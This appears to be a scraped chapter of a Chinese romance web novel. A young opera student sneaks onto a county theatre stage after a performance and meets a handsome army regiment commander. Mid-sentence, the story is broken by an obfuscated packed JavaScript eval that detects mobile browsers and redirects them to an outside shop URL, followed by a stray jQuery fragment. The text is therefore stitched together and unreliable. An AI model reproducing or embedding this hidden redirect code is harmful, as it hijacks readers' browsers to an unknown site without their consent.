县城离镇上四十里路，焦九斤赶着驴车，颠簸了大半天才到。
今越坐在板车上，屁股被颠得生疼，可心里头却兴奋得很。
她从镇上这几年长到十九岁，还是头一回到县城来。
一路上她东张西望，看什么都新鲜，宽阔的马路，两层高的楼房，街边挂着花花绿绿招牌的铺子，还有骑着自行车叮铃铃穿过街道的年轻人。
这一切都让她觉得新奇又向往。
焦九斤此行的目的，是带今越来县城的人民剧院听一场戏。
“省城的豫剧团来巡演，唱的是《穆桂英挂帅》。”焦九斤说这话的时候，眼睛里有一种今越很少见到的光芒，“主角是省团的台柱子马金凤先生的徒孙，唱了几十年的老戏骨了。你好好听听，看看人家是怎么唱的。”
今越嘴上应着，心里却在想别的事，她听说今天晚上有大领导来看戏，整个县城都轰动了，剧院门口挤满了人，好多人都想借着这个机会巴结那位大领导。
她不知道那位大领导是谁，也不关心，她只关心自己能不能挤进去看戏。
人民剧院坐落在县城最繁华的那条街上，灰砖砌成的三层楼房，正门上方挂着一块巨大的红色牌匾，上书四个鎏金大字“人民剧院”。
门口的石阶又宽又长，两边竖着两根粗大的水泥柱子，柱子上贴着红色的标语，一派庄严肃穆的气象。
今越站在剧院门口，仰着头看着那块牌匾，嘴巴张得能塞下一个鸡蛋。
她这辈子见过的最大的戏台，就是镇上那个用木板搭的临时台子。
她从来没见过真正的剧院，没见过这么高的屋顶，这么大的舞台，这么多的座位。她光是站在门口，就已经觉得心跳加速了。
“别傻站着了，进去。”焦九斤拽了她一把。
戏票是焦九斤托人买的，位置在二楼最后一排的角落里，视野不太好，只能看到舞台的一个侧面。
可即便如此，今越也已经激动得不行了。
她坐在那把硬邦邦的木椅子上，双手撑着膝盖，身子前倾，恨不得把整个脑袋都伸到舞台上去。
剧场里的人越来越多，一楼的大池座很快就坐满了，二楼的包厢和散座也陆陆续续上了人。
今越粗略数了数，少说有七八百号人。
她从来没见过这么多人在同一个地方，心里又是紧张又是兴奋，手心都冒汗了。
“师父，好多人啊……”她凑到焦九斤耳边小声说。
“废话，省团来演出，当然人多。”焦九斤白了她一眼，“你好好看着，学着点。”
“哦。”
今越的目光在剧场里扫了一圈，忽然注意到一楼前排正中央的几个座位上铺着大红绸布的椅套，和其他座位明显不同。
那几个座位周围站着几个穿军装的人，腰板挺得笔直，目不斜视，一看就不是普通人。
“师父，那边那几个座位是给谁的？”今越好奇地问。
焦九斤顺着她的目光看了一眼，压低声音说：“听说是部队上的一个大官，今天专门来看戏的，少东张西望的，别惹事。”
今越“哦”了一声，可还是忍不住多看了几眼。
就在这时，剧场入口处忽然传来一阵骚动。
今越循声望去，只见几个人从入口走了进来。
走在最前面的那个人，穿着一身笔挺的绿色军装，肩上扛着肩章，腰间扎着武装带，步伐沉稳有力。
他的个子很高，身材修长挺拔，在一群人中显得格外醒目。
当他摘下军帽的那一刻，整个剧场似乎都安静了一瞬。
那是一张让人过目不忘的脸。
剑眉星目，鼻梁高挺，面部轮廓分明却不失柔和。
他的皮肤是健康的小麦色，一看就是常年风吹日晒的结果，可这丝毫没有影响他的英俊，反而给他增添了几分阳刚之气。
五官端正得像是用尺子量过一般，每一处都恰到好处，多一分则过，少一分则缺。
尤其是那双眼睛，深邃而明亮，像是两潭幽深的湖水，平静的表面下藏着看不见的暗流。
他微笑着和身边的人交谈，说话时不急不缓，声音低沉而温和，带着一种天然的亲和力。
他走到前排那个铺着红绸的座位前，没有立刻坐下，而是先环顾了一圈四周，朝在场的观众微微颔首致意，然后才从容落座。
整个过程中，举止优雅而得体，既不张扬，也不拘谨，举手投足间自有一种让人如沐春风的气质。
今越看得呆了。
她活了十九年，见过的人不少，可从来没见过长成这样的人。
镇上的男人要么黑瘦干瘪，要么粗鲁莽撞，哪有这般的人物？这个人往那儿一坐，就像是一幅画，周围的喧嚣和嘈杂都成了背景，所有的光都聚在他一个人身上。
“那是谁啊？”今越拉了拉焦九斤的袖子，小声问道。
焦九斤瞥了一眼，压低声音说：“听说是军区来的团长，姓沈，叫沈聿。年纪轻轻的就当上了团长，前途不可限量。今天县里的领导都来了，就是为了陪他看这场戏。”
沈聿。
今越在心里默念了一遍这个名字，他没听过，也没有多想，又把目光投向了一楼前排的那个身影。
戏开演了。
《穆桂英挂帅》是豫剧的经典剧目，讲述的是北宋时期，杨家将中的穆桂英挂帅出征的故事。
省团的演员功底扎实，唱念做打俱佳，尤其是扮演穆桂英的那位老旦，嗓音洪亮，气势磅礴，一段“辕门外三声炮如同雷震”唱得满堂喝彩。
可今越的心思，却怎么也集中不到戏台上。
她的目光总是不自觉地飘向一楼前排那个穿军装的身影。
他看戏看得很认真，时而微微点头，时而侧身和旁边的县领导低声交流几句，脸上始终挂着那种温和而克制的微笑。
坐姿始终端正，腰背挺直，双手自然地放在膝盖上，从头到尾没有靠在椅背上过。
这让今越想起了父亲。父亲活着的时候，也总是这样，坐有坐相，站有站相，任何时候都保持着一种让人安心的沉稳和从容。
她的心里忽然涌起一种说不清道不明的感觉，酸酸的，涩涩的，又带着一点点甜。
戏演了两个多小时，散场的时候已经快夜里十点了。
观众们陆续退场，剧场里渐渐安静下来。
焦九斤带着今越从侧门出去，准备去找地方住一晚，明天再赶回去。
可今越走到一半，忽然停下了脚步。
“师父，我……我把手绢落在座位上了。”她撒了个谎，脸不红心不跳的。
焦九斤皱了皱眉：“明儿再去拿就是了。”
“不行，那是我娘留给我的。”今越低下头，声音里带了一丝哽咽。
焦九斤叹了口气，摆了摆手：“快去快回，我在街口那棵槐树底下等你。”
“哎！”
今越转身就往剧院跑，可她没有去二楼找什么手绢，而是一口气跑到了舞台的后台入口。
后门虚掩着，没有锁。
她推开门，侧身钻了进去。剧场里已经空了，只剩下几盏昏暗的应急灯还亮着，偌大的空间显得空旷而寂静。
舞台上还保留着演出结束时的布景，道具散落一地，没有人来得及收拾。
今越站在空无一人的观众席前，看着那个巨大的舞台，心脏砰砰直跳。
她一步一步地往前走，走过一排排空荡荡的座椅，走到最前排，然后踏上了舞台的台阶。
当她双脚站在舞台中央的那一刻，她的呼吸停滞了一瞬。
这就是舞台。
这就是她做梦都想站上来的地方。
脚下的木板微微有些松动，踩上去会发出轻微的吱呀声。
头顶悬着密密麻麻的绳索和幕布，两侧的灯光架子上还残留着演出时留下的温度。
空气中弥漫着灰尘和汗水混合的气味，那是属于舞台特有的味道。
今越闭上眼睛，深深地吸了一口气。
她想象着自己穿着戏服站在这里的场景，想象着台下坐满了观众，所有的目光都汇聚在她一个人身上，想象着锣鼓声响起，她开口唱出第一句词——
她睁开眼，清了清嗓子，然后开口唱道：
“辕门外三声炮如同雷震——”
这是《穆桂英挂帅》里的经典唱段。
她没有刻意模仿刚才那位老旦的唱法，而是用自己的方式，用自己的嗓音，用自己的情感去演绎。
声音在空旷的剧场里回荡，虽然没有伴奏，虽然没有观众，可那声音里有一种蓬勃的生命力，像是一株破土而出的幼苗，倔强地向上生长着。
她越唱越投入，越唱越忘情，索性把外套脱了扔在一旁，露出里面早就偷偷穿好的水袖，摆出了穆桂英挂帅的架势。
她想象着自己就是那个巾帼不让须眉的女英雄，披甲执锐，率领千军万马奔赴沙场。
她的动作大开大合，眼神凌厉坚定，每一个转身都带着风声，每一个亮相都透着杀气。
“穆桂英我本是农家女——”
她一边唱一边做了一个漂亮的翻身动作，水袖甩出去，在空中划出一道优美的弧线。
可她没有注意到，水袖正好勾住了旁边一盏落地灯的电线——
“哗啦——砰！”
落地灯倒了下来，灯泡摔碎了，发出一声巨响。
今越吓了一跳，整个人僵在原地，保持着那个甩袖的动作，一动也不敢动。
她的心脏狂跳不止，脑子里只有一个念头：完了，把人家的东西摔坏了，师父非打死我不可。
就在这时，舞台侧面的幕布被人掀开了。
一个人影走了进来。
今越的心提到了嗓子眼，她已经做好了立马鞠躬道歉的准备。
可当那个人影走到灯光下时，她愣住了。
是那个穿军
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913483|213230||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
装的团长。
沈聿也没想到会在这里遇见人。
他散场后没有立刻离开，而是在剧场里多待了一会儿，和县文化馆的负责人聊了几句关于军民共建的事情。
等他准备离开的时候，听见舞台上传来唱戏的声音，以为是哪个工作人员在收拾道具，便过来看看，没想到看见的是一个姑娘站在舞台中央，正唱得起劲。
他看见那姑娘穿着一件洗得发白的蓝色布衫，她的头发有些乱了，几缕碎发贴在额头上，脸上因为用力而泛起两团红晕。
她的眼睛很亮，像是有星星在里面闪烁。
她就那样站在一片狼藉的舞台上，脚下是摔碎的灯泡碎片，身后是倾倒的落地灯，可她浑然不觉，整个人还沉浸在刚才的角色里，胸膛微微起伏着，呼吸还没有平复。
沈聿看着她，忽然想起了一句诗。
“北方有佳人，绝世而独立。”
他从来没见过一个姑娘，像眼前这个一样，浑身上下散发着一种蓬勃的，鲜活的生命力。
她站在那里的样子，不像是一个偷偷溜进来的不速之客，倒像是一个天生的王者，站在属于她的王座上。
两个人隔着几步远的距离，四目相对。
今越的大脑一片空白。
她想解释，想道歉，想说点什么来打破这尴尬的局面，可她的嘴巴张了又合，合了又张，一个字也说不出来。
沈聿率先打破了沉默。
他没有生气，也没有责备，而是微微一笑，用一种温和得近乎轻柔的声音说了一句：
“唱得很好。”
今越愣住了。
她以为他会骂她，会把她赶出去，甚至会叫人把她抓起来。可她万万没有想到，他会说出这几个字。
唱得很好。
她的眼眶忽然有些发酸，鼻子也有些堵。她低下头，掩饰着自己的慌乱，小声说了一句：“谢、谢谢首长……”
沈聿笑了笑，弯腰捡起地上那盏倒了的落地灯，把它扶正，又看了看地上的碎玻璃，说：“下次唱戏的时候，小心些。这些东西砸到自己就不好了。”
“灯泡的事我去跟门卫说下，不用担心。”
他的语气很随意，像是在跟一个认识了很久的朋友说话，没有丝毫的居高临下，也没有丝毫的生疏和客套。
那种自然而然的关切，让今越的心跳漏了一拍。
“我、我会注意的……”今越的声音小得像蚊子哼哼。
沈聿点了点头，没有再说什么，转身准备离开。
他走了两步，又停下来，回头看了她一眼，问了一句：“你叫什么名字？”
今越抬起头，对上他那双深邃的眼睛，鬼使神差地回了一句：“我叫穆桂英。”
说完她就后悔了。
沈聿愣了一下，随即笑了起来。
他的眼睛弯成了月牙的形状，嘴角上扬的弧度恰到好处，整个人看起来年轻了好几岁。
“穆桂英同志，”他笑着说，“下次挂帅出征的时候，记得别把灯打翻了。”
说完，他转身走了。
今越站在原地，看着他的背影消失在幕布后面，脸上火烧火燎的。
她低头看了看自己脚边的碎玻璃渣，又摸了摸自己滚烫的脸颊，忽然蹲下来，把脸埋进膝盖里，发出一声压抑的尖叫。
她刚才干了什么？！
她说她叫穆桂英？！
她这辈子都没干过这么丢人的事！！！
可同时，她的心里又有一种奇怪的、从未有过的感觉在涌动。
那种感觉像是一只蝴蝶，在她的胸腔里扑棱着翅膀，痒痒的，酥酥的，让她坐立不安。
她不知道那是什么。
可她记住了他的名字。
沈聿。
她在心里默念了一遍，又念了一遍，然后把脸埋得更深了。
街口的槐树下，焦九斤等得都快睡着了。他看见今越从剧院方向跑过来，脸红得像猴屁股一样，气喘吁吁的，不由皱起了眉头。
“手绢找到了？”
“找到了。”今越低着头，不敢看他。
“那你的脸怎么红成这样？”
“……跑的。”
焦九斤狐疑地看了她一眼，没有再追问，转身往客栈的方向走去。
今越跟在他身后，走了几步，又忍不住回头看了一眼远处的人民剧院。
夜色中，那栋灰砖建筑的轮廓模糊不清，只有门口的灯光还在亮着。
今越收回目光，跟在师父身后，一步一步地走着。
她的脚步比来时轻快了许多，嘴角也不自觉地浮起一丝笑意。
人民剧院门口，一辆军用吉普车正准备驶离。
车上的沈聿透过车窗，看见了远处那个蹦蹦跳跳远去的身影，嘴角也浮起了一丝若有若无的笑意。
“穆桂英。”他低声重复了一遍这个名字，然后摇了摇头，笑着对司机说，“走吧。”